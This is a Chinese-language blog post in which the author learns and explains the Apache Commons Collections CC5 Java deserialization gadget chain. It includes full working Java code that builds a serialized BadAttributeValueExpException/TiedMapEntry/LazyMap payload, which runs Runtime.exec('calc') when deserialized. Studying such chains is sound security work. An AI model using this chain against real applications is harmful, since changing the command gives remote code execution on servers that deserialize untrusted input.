CC5

环境搭建

环境跟CC1一样: https://www.cnblogs.com/starme/p/18464845

跟CC1的后半段相同
调用链:

image-20241014203150234

参考: https://www.bilibili.com/video/BV1NQ4y1q7EU?t=1.8

分析

目标是TiedMapEntry.toString ->getValue -> LazyMap.get

重点在这里:

public Object getValue() {
    return map.get(key);
}

map = LazyMap
key = Runtime.class

TiedMapEntry类的构造方法:

即:

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, Runtime.class);
tiedMapEntry.toString();

然后是BadAttributeValueExpException.readObject -> TiedMapEntry.toString

ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
        
val = valObj.toString();

所以要让valObj = tiedMapEntry

构造方法:

public BadAttributeValueExpException (Object val) { // 一个对象
        this.val = val == null ? null : val.toString(); // val字段
    }

直接把tiedMapEntry赋给 val不就好了,那样val就有值了,也符合要求

沃日有点奇怪,直接从A就到B了:

经尝试不能是,这种情况下就会产生上面的灵异情况:

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

而必须是通过反射来调值:

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);

哦我知道了,通过构造方法赋值时:

会直接把调用 TiedMapEntry.toString ,所以需要以反射来赋值

完整代码

package org.example.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
        // chainedTransformer.transform -> InvokerTransformer.transform
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",null}), // 原来把transform(Runtime.class)省去了
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})

        }; // 省去了.transform这步,引入了ChainedTransformer
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);

        // LazyMap.get -> InvokerTransform.transform
        HashMap<Object, Object> map = new HashMap<>();
        // 新生成一个map:
        map.put("value", "aaa"); // 这个value为Target接口的成员方法的名称
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
//        lazyMap.get(Runtime.class);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, Runtime.class);
//        tiedMapEntry.toString();

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException,tiedMapEntry);
//        serialize(badAttributeValueExpException);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

posted @ 2024-10-14 20:35  starme  阅读(8)  评论(0编辑  收藏  举报